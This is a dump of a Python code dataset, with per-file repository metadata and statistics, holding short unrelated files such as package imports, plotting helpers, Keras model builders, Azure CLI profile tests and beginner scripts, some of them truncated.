"MIT"
] | 2 | 2021-03-23T12:07:53.000Z | 2021-12-22T14:30:59.000Z | src/envs/__init__.py | jainraj/CISR_NeurIPS20 | 027957e4a26a36f6501c4f0e5e73cb9d78a53e66 | [
"MIT"
] | 7 | 2020-11-17T03:20:00.000Z | 2022-03-31T15:53:58.000Z | from src.envs.frozen_lake.utils import *
from src.envs.CMDP import CMDP, LagrangianMDP, LagrangianMDPMonitor
from src.envs.frozen_lake.frozen_lake_custom import *
from src.envs.dummy_envs import *
| 39.4 | 67 | 0.832487 | 30 | 197 | 5.3 | 0.4 | 0.176101 | 0.27673 | 0.213836 | 0.264151 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091371 | 197 | 4 | 68 | 49.25 | 0.888268 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8246e38f21bcb46e020f248157401bcc92b6f2e7 | 45,802 | py | Python | hydrus/tests/test_app.py | vcode11/hydrus | 4ed8ada7ed8fd7d8897e744bae410b312f4cfb83 | [
"MIT"
] | 1 | 2019-12-04T12:54:21.000Z | 2019-12-04T12:54:21.000Z | hydrus/tests/test_app.py | vcode11/hydrus | 4ed8ada7ed8fd7d8897e744bae410b312f4cfb83 | [
"MIT"
] | 3 | 2019-12-21T04:15:23.000Z | 2020-04-07T05:11:05.000Z | hydrus/tests/test_app.py | vcode11/hydrus | 4ed8ada7ed8fd7d8897e744bae410b312f4cfb83 | [
"MIT"
] | null | null | null | """Test for checking if the response format is proper. Run test_crud before running this."""
import unittest
import random
import string
import json
import re
import uuid
from hydrus.app_factory import app_factory
from hydrus.socketio_factory import create_socket
from hydrus.utils import set_session, set_doc, ... | 51.929705 | 100 | 0.550696 | 4,889 | 45,802 | 4.929229 | 0.062589 | 0.02469 | 0.032864 | 0.040209 | 0.810573 | 0.770198 | 0.734802 | 0.716669 | 0.69368 | 0.677621 | 0 | 0.010773 | 0.343391 | 45,802 | 881 | 101 | 51.988649 | 0.79055 | 0.052356 | 0 | 0.710907 | 0 | 0 | 0.059831 | 0.003308 | 0 | 0 | 0 | 0 | 0.166886 | 1 | 0.045992 | false | 0 | 0.021025 | 0 | 0.070959 | 0.015769 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4133e1bc42983ea66207a46d56f8271c574d0112 | 44 | py | Python | uvcgan/data/__init__.py | LS4GAN/uvcgan | 376439ae2a9be684ff279ddf634fe137aadc5df5 | [
"BSD-2-Clause"
] | 20 | 2022-02-14T22:36:19.000Z | 2022-03-29T06:31:30.000Z | uvcgan/data/__init__.py | LS4GAN/uvcgan | 376439ae2a9be684ff279ddf634fe137aadc5df5 | [
"BSD-2-Clause"
] | 1 | 2022-03-09T17:23:30.000Z | 2022-03-09T17:23:30.000Z | uvcgan/data/__init__.py | LS4GAN/uvcgan | 376439ae2a9be684ff279ddf634fe137aadc5df5 | [
"BSD-2-Clause"
] | 3 | 2022-02-14T22:36:41.000Z | 2022-03-20T12:53:29.000Z | from .data import get_data, load_datasets
| 14.666667 | 42 | 0.795455 | 7 | 44 | 4.714286 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.159091 | 44 | 2 | 43 | 22 | 0.891892 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
418f11b9be6d33797039dbd61fb14d0926c37b30 | 109 | py | Python | study/views/articles.py | mekroket/Anchor | 8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4 | [
"MIT"
] | null | null | null | study/views/articles.py | mekroket/Anchor | 8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4 | [
"MIT"
] | null | null | null | study/views/articles.py | mekroket/Anchor | 8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4 | [
"MIT"
] | null | null | null | from django.shortcuts import render
def Makaleler(request):
return render(request,"pages/articles.html") | 27.25 | 48 | 0.788991 | 14 | 109 | 6.142857 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.110092 | 109 | 4 | 48 | 27.25 | 0.886598 | 0 | 0 | 0 | 0 | 0 | 0.172727 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
ec3a4d36be57570d5bb7802f6d6731dc57dbad46 | 167 | py | Python | buildin_modules/pkg_practice/sample_import_pkg.py | Mason-Lin/python_playground | f6d3f194d48c94d43c0e416baa249755f4388bc9 | [
"MIT"
] | null | null | null | buildin_modules/pkg_practice/sample_import_pkg.py | Mason-Lin/python_playground | f6d3f194d48c94d43c0e416baa249755f4388bc9 | [
"MIT"
] | 4 | 2020-09-18T11:49:14.000Z | 2021-07-13T11:20:47.000Z | buildin_modules/pkg_practice/sample_import_pkg.py | Mason-Lin/python_playground | f6d3f194d48c94d43c0e416baa249755f4388bc9 | [
"MIT"
] | null | null | null | from sample_pkg.sample_module import sample_func
# from sample_pkg import sample_module
if __name__ == '__main__':
sample_func()
# sample_module.sample_func() | 27.833333 | 48 | 0.778443 | 23 | 167 | 4.956522 | 0.391304 | 0.315789 | 0.22807 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.143713 | 167 | 6 | 49 | 27.833333 | 0.797203 | 0.383234 | 0 | 0 | 0 | 0 | 0.079208 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
ec3aad6e683ba1b1a032379b499034e2db78a870 | 3,660 | py | Python | modelling/F1_plot_functions.py | ClimateSubak/EV-forecasting | 941de21da95b36445dd794f3e13cf8193f7b15fd | [
"MIT"
] | 5 | 2021-07-18T16:44:53.000Z | 2022-03-21T09:37:08.000Z | modelling/F1_plot_functions.py | ClimateSubak/EV-forecasting | 941de21da95b36445dd794f3e13cf8193f7b15fd | [
"MIT"
] | null | null | null | modelling/F1_plot_functions.py | ClimateSubak/EV-forecasting | 941de21da95b36445dd794f3e13cf8193f7b15fd | [
"MIT"
] | null | null | null | import pandas as pd
import geopandas as gpd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
def plot_single_msoa(y_train, y_test, y_pred,msoa):
# Map Y-pred array to a dataframe with consistent indices to test set
df_pred = pd.DataFrame(index=y_test.index)
df_pred['ev_count']... | 34.205607 | 91 | 0.589344 | 534 | 3,660 | 3.853933 | 0.151685 | 0.052478 | 0.058309 | 0.050535 | 0.808066 | 0.802235 | 0.773567 | 0.721088 | 0.705539 | 0.705539 | 0 | 0.010889 | 0.247268 | 3,660 | 107 | 92 | 34.205607 | 0.736116 | 0.075137 | 0 | 0.666667 | 0 | 0 | 0.10559 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.049383 | false | 0 | 0.061728 | 0 | 0.160494 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ec3cfdc4a45d8823fdeaf065d1e72478073a10a4 | 36 | py | Python | Basics/largest-in-an-array.py | abhishek8075374519/python-for-beginners | a3c0334751001c6468819af7c8ae7ec0993a48c3 | [
"MIT"
] | null | null | null | Basics/largest-in-an-array.py | abhishek8075374519/python-for-beginners | a3c0334751001c6468819af7c8ae7ec0993a48c3 | [
"MIT"
] | null | null | null | Basics/largest-in-an-array.py | abhishek8075374519/python-for-beginners | a3c0334751001c6468819af7c8ae7ec0993a48c3 | [
"MIT"
] | null | null | null | a = [5, 6, 8, 2, 3]
print(max(a))
| 12 | 20 | 0.416667 | 9 | 36 | 1.666667 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192308 | 0.277778 | 36 | 2 | 21 | 18 | 0.384615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
ec4199d622b17f3a0360ce89a478354d85c58add | 163 | py | Python | plpred/models/__init__.py | mandimunari/-plpred | 15891da492ea7337d9113d499ffa518b147c7354 | [
"MIT"
] | null | null | null | plpred/models/__init__.py | mandimunari/-plpred | 15891da492ea7337d9113d499ffa518b147c7354 | [
"MIT"
] | null | null | null | plpred/models/__init__.py | mandimunari/-plpred | 15891da492ea7337d9113d499ffa518b147c7354 | [
"MIT"
] | null | null | null | from .plpred_rf import PlpredRF
from .plpred_gb import PlpredGB
from .plpred_nn import PlpredNN
from .plpred_svm import PlpredSVM
from .base_model import BaseModel | 32.6 | 33 | 0.852761 | 25 | 163 | 5.36 | 0.56 | 0.298507 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116564 | 163 | 5 | 34 | 32.6 | 0.930556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6ba2ee41e980307b41e9d8a09be94d198c71f09a | 8,606 | py | Python | src/azure-cli-core/azure/cli/core/tests/test_api_profiles.py | v-Ajnava/azure-cli | febec631d79bfca151e84267b5b409594bad598e | [
"MIT"
] | null | null | null | src/azure-cli-core/azure/cli/core/tests/test_api_profiles.py | v-Ajnava/azure-cli | febec631d79bfca151e84267b5b409594bad598e | [
"MIT"
] | 3 | 2021-03-26T00:48:20.000Z | 2022-03-29T22:05:39.000Z | src/azure-cli-core/azure/cli/core/tests/test_api_profiles.py | v-Ajnava/azure-cli | febec631d79bfca151e84267b5b409594bad598e | [
"MIT"
] | 1 | 2017-12-28T04:51:44.000Z | 2017-12-28T04:51:44.000Z | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 59.763889 | 106 | 0.691843 | 1,102 | 8,606 | 5.133394 | 0.087114 | 0.029698 | 0.070002 | 0.090154 | 0.896765 | 0.856461 | 0.848683 | 0.834541 | 0.83295 | 0.825703 | 0 | 0.06224 | 0.161748 | 8,606 | 143 | 107 | 60.181818 | 0.72193 | 0.071694 | 0 | 0.457143 | 0 | 0 | 0.267018 | 0.144541 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | false | 0 | 0.047619 | 0 | 0.257143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d4042628cd1f1bdafc00b66126eccbcea3930690 | 127 | py | Python | condition.py | BernardoAguayoOrtega/CS50-s-Python-2020 | 66fc60d584220c81b03f4157f2da99a2b2910234 | [
"MIT"
] | null | null | null | condition.py | BernardoAguayoOrtega/CS50-s-Python-2020 | 66fc60d584220c81b03f4157f2da99a2b2910234 | [
"MIT"
] | null | null | null | condition.py | BernardoAguayoOrtega/CS50-s-Python-2020 | 66fc60d584220c81b03f4157f2da99a2b2910234 | [
"MIT"
] | null | null | null | n = int(input("Number: "))
if n > 0:
print("it's positive")
elif n < 0:
print("it's negative")
else:
print("it's zero") | 15.875 | 26 | 0.574803 | 23 | 127 | 3.173913 | 0.608696 | 0.287671 | 0.328767 | 0.246575 | 0.273973 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019802 | 0.204724 | 127 | 8 | 27 | 15.875 | 0.70297 | 0 | 0 | 0 | 0 | 0 | 0.335938 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.428571 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
d44f0647dc318829b504034dbaaf0ffb866074c3 | 29 | py | Python | grid/server/__init__.py | daviddemeij/Grid | 4ded37c437bf007ca021e00471dc4cd0651c8650 | [
"Apache-2.0"
] | null | null | null | grid/server/__init__.py | daviddemeij/Grid | 4ded37c437bf007ca021e00471dc4cd0651c8650 | [
"Apache-2.0"
] | null | null | null | grid/server/__init__.py | daviddemeij/Grid | 4ded37c437bf007ca021e00471dc4cd0651c8650 | [
"Apache-2.0"
] | null | null | null | from grid.server import grid
| 14.5 | 28 | 0.827586 | 5 | 29 | 4.8 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.96 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2e8a61d8cfdbdbeff919be4a0c8aed855be91a70 | 6,334 | py | Python | deep_nn.py | Matakov/Neural-Nets | 4175f1824a82018ae60da6d9fd3b4d02d90f44a1 | [
"MIT"
] | null | null | null | deep_nn.py | Matakov/Neural-Nets | 4175f1824a82018ae60da6d9fd3b4d02d90f44a1 | [
"MIT"
] | null | null | null | deep_nn.py | Matakov/Neural-Nets | 4175f1824a82018ae60da6d9fd3b4d02d90f44a1 | [
"MIT"
] | null | null | null | from __future__ import print_function
from keras.utils.data_utils import get_file
from keras.optimizers import Adam
from keras.models import Sequential
from keras.layers import Dense, Flatten
from keras.layers import Conv2D, MaxPooling2D,AveragePooling2D
from keras.layers import Input
from keras import backend as K
fro... | 50.269841 | 148 | 0.64288 | 858 | 6,334 | 4.59324 | 0.142191 | 0.097437 | 0.08881 | 0.101497 | 0.821365 | 0.81426 | 0.786602 | 0.775945 | 0.77493 | 0.739406 | 0 | 0.064224 | 0.181402 | 6,334 | 125 | 149 | 50.672 | 0.695853 | 0.199242 | 0 | 0.5 | 0 | 0.027027 | 0.200119 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.040541 | false | 0 | 0.162162 | 0 | 0.243243 | 0.013514 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
cf14c8fef4a426a1b42137418c7ef90411cd1bff | 65 | py | Python | Scripts/_loadlib/utils/__init__.py | xuesoso/singleToxoplasmaSeq | 3dbd29b94fc484bacf3ff4cdbaf32c444f606451 | [
"MIT"
] | 1 | 2020-08-05T20:30:35.000Z | 2020-08-05T20:30:35.000Z | Scripts/_loadlib/utils/__init__.py | xuesoso/singleToxoplasmaSeq | 3dbd29b94fc484bacf3ff4cdbaf32c444f606451 | [
"MIT"
] | 2 | 2020-02-09T22:23:13.000Z | 2020-03-04T22:38:31.000Z | Scripts/_loadlib/utils/__init__.py | xuesoso/singleToxoplasmaSeq | 3dbd29b94fc484bacf3ff4cdbaf32c444f606451 | [
"MIT"
] | 2 | 2020-02-18T12:33:32.000Z | 2020-04-08T02:00:34.000Z | from . import sc_tools as sat
# from . import sc_utilities as ut
| 21.666667 | 34 | 0.753846 | 12 | 65 | 3.916667 | 0.666667 | 0.425532 | 0.510638 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 65 | 2 | 35 | 32.5 | 0.903846 | 0.492308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
cf2b9ff2537ab5c15cea1a0cd9d033cc597a5303 | 75 | py | Python | plasmapy/tests/__init__.py | haman80/PlasmaPy | 646f7ed52b89a1254be474fe54bdd672f7d27fb3 | [
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-1-Clause",
"BSD-3-Clause"
] | null | null | null | plasmapy/tests/__init__.py | haman80/PlasmaPy | 646f7ed52b89a1254be474fe54bdd672f7d27fb3 | [
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-1-Clause",
"BSD-3-Clause"
] | null | null | null | plasmapy/tests/__init__.py | haman80/PlasmaPy | 646f7ed52b89a1254be474fe54bdd672f7d27fb3 | [
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-1-Clause",
"BSD-3-Clause"
] | null | null | null | """PlasmaPy tests and test helpers."""
from plasmapy.tests import helpers
| 18.75 | 38 | 0.76 | 10 | 75 | 5.7 | 0.7 | 0.45614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 75 | 3 | 39 | 25 | 0.876923 | 0.426667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
cf2dcb9f9599c16154cc900ca1ddda0b3dc1f96b | 90 | py | Python | 03_operadores_bitwise.py | Israeltalles/Codigos_ProgramacaoParaRedes | ee1bde0691af6efc6ad8e0f4805bab2cc9357bc7 | [
"Apache-2.0"
] | null | null | null | 03_operadores_bitwise.py | Israeltalles/Codigos_ProgramacaoParaRedes | ee1bde0691af6efc6ad8e0f4805bab2cc9357bc7 | [
"Apache-2.0"
] | null | null | null | 03_operadores_bitwise.py | Israeltalles/Codigos_ProgramacaoParaRedes | ee1bde0691af6efc6ad8e0f4805bab2cc9357bc7 | [
"Apache-2.0"
] | null | null | null | x=1
x<<2
print(x)
print(x | 2)
print(x & 1)
y = 0b1000
print(y)
y=y>>3
#Y=0b0001
print(y)
| 8.181818 | 12 | 0.588889 | 23 | 90 | 2.304348 | 0.347826 | 0.339623 | 0.264151 | 0.301887 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.202703 | 0.177778 | 90 | 10 | 13 | 9 | 0.513514 | 0.088889 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.555556 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
cf380521ea764584994064ecb5df887de71dabe8 | 135 | py | Python | benedict/core/rename.py | next-franciscoalgaba/python-benedict | 81ff459304868327238c322a0a8a203d9d5d4314 | [
"MIT"
] | 365 | 2019-05-21T05:50:30.000Z | 2022-03-29T11:35:35.000Z | benedict/core/rename.py | next-franciscoalgaba/python-benedict | 81ff459304868327238c322a0a8a203d9d5d4314 | [
"MIT"
] | 78 | 2019-11-16T12:22:54.000Z | 2022-03-14T12:21:30.000Z | benedict/core/rename.py | next-franciscoalgaba/python-benedict | 81ff459304868327238c322a0a8a203d9d5d4314 | [
"MIT"
] | 26 | 2019-12-16T06:34:12.000Z | 2022-02-28T07:16:41.000Z | # -*- coding: utf-8 -*-
from benedict.core.move import move
def rename(d, key, key_new):
move(d, key, key_new, overwrite=False)
| 16.875 | 42 | 0.659259 | 22 | 135 | 3.954545 | 0.681818 | 0.091954 | 0.16092 | 0.229885 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009009 | 0.177778 | 135 | 7 | 43 | 19.285714 | 0.774775 | 0.155556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
cf45fe5edb31bfb360a64fa58a217cd125ce1f02 | 100 | py | Python | atpthings/__init__.py | atp-things/pkg-python-util | 7ce464e38b43a84b6c8bf176b882d71e55edc4fb | [
"MIT"
] | null | null | null | atpthings/__init__.py | atp-things/pkg-python-util | 7ce464e38b43a84b6c8bf176b882d71e55edc4fb | [
"MIT"
] | null | null | null | atpthings/__init__.py | atp-things/pkg-python-util | 7ce464e38b43a84b6c8bf176b882d71e55edc4fb | [
"MIT"
] | null | null | null | """
atpthings
=========
ATP Things python package
"""
from . import example123
from . import util
| 10 | 25 | 0.65 | 11 | 100 | 5.909091 | 0.818182 | 0.307692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036585 | 0.18 | 100 | 9 | 26 | 11.111111 | 0.756098 | 0.46 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
cf6747b89b78d13d1eb6418313ed7c8ea75e3484 | 150 | py | Python | cliva_fl/multiprocessing/__init__.py | DataManagementLab/thesis-fl_client-side_validation | 0f6a35d08966133e6a8c13a110b9307d91f2d9cb | [
"MIT"
] | null | null | null | cliva_fl/multiprocessing/__init__.py | DataManagementLab/thesis-fl_client-side_validation | 0f6a35d08966133e6a8c13a110b9307d91f2d9cb | [
"MIT"
] | null | null | null | cliva_fl/multiprocessing/__init__.py | DataManagementLab/thesis-fl_client-side_validation | 0f6a35d08966133e6a8c13a110b9307d91f2d9cb | [
"MIT"
] | null | null | null | from .core import start_validators, stop_validators
from .validation_process import validation_process
from .process_logger import get_process_logger
| 37.5 | 51 | 0.886667 | 20 | 150 | 6.3 | 0.5 | 0.269841 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086667 | 150 | 3 | 52 | 50 | 0.919708 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2b09c15c7c85566a726ac9fd465dab19fcc3e3fc | 16,296 | py | Python | src/reporter/tests/test_NTNE1A.py | cnoelle/ngsi-timeseries-api | 77ed420c0a7532bcc13d941c0402f457cc40407a | [
"MIT"
] | null | null | null | src/reporter/tests/test_NTNE1A.py | cnoelle/ngsi-timeseries-api | 77ed420c0a7532bcc13d941c0402f457cc40407a | [
"MIT"
] | null | null | null | src/reporter/tests/test_NTNE1A.py | cnoelle/ngsi-timeseries-api | 77ed420c0a7532bcc13d941c0402f457cc40407a | [
"MIT"
] | null | null | null | from conftest import QL_URL, crate_translator as translator
from reporter.tests.utils import insert_test_data
from datetime import datetime
import pytest
import requests
attr_name = 'temperature'
entity_type = "Room"
entity_id = "Room1"
entity_id_1 = "Room2"
n_days = 4
def query_url(values=False):
url = "{qlUrl}/... | 25.622642 | 98 | 0.555044 | 1,658 | 16,296 | 5.255127 | 0.106152 | 0.11018 | 0.077126 | 0.060599 | 0.800069 | 0.778607 | 0.760932 | 0.745782 | 0.725123 | 0.725123 | 0 | 0.052717 | 0.320201 | 16,296 | 635 | 99 | 25.662992 | 0.733797 | 0.036267 | 0 | 0.561818 | 0 | 0 | 0.141826 | 0.035888 | 0 | 0 | 0 | 0 | 0.076364 | 1 | 0.029091 | false | 0 | 0.009091 | 0 | 0.04 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2b19bd5667f59566f94bfa815f4cad9823f98d75 | 139 | py | Python | compiled/construct/zlib_with_header_78.py | smarek/ci_targets | c5edee7b0901fd8e7f75f85245ea4209b38e0cb3 | [
"MIT"
] | 4 | 2017-04-08T12:55:11.000Z | 2020-12-05T21:09:31.000Z | compiled/construct/zlib_with_header_78.py | smarek/ci_targets | c5edee7b0901fd8e7f75f85245ea4209b38e0cb3 | [
"MIT"
] | 7 | 2018-04-23T01:30:33.000Z | 2020-10-30T23:56:14.000Z | compiled/construct/zlib_with_header_78.py | smarek/ci_targets | c5edee7b0901fd8e7f75f85245ea4209b38e0cb3 | [
"MIT"
] | 6 | 2017-04-08T11:41:14.000Z | 2020-10-30T22:47:31.000Z | from construct import *
from construct.lib import *
zlib_with_header_78 = Struct(
'data' / GreedyBytes,
)
_schema = zlib_with_header_78
| 15.444444 | 29 | 0.769784 | 19 | 139 | 5.263158 | 0.631579 | 0.26 | 0.28 | 0.32 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033898 | 0.151079 | 139 | 8 | 30 | 17.375 | 0.813559 | 0 | 0 | 0 | 0 | 0 | 0.028777 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
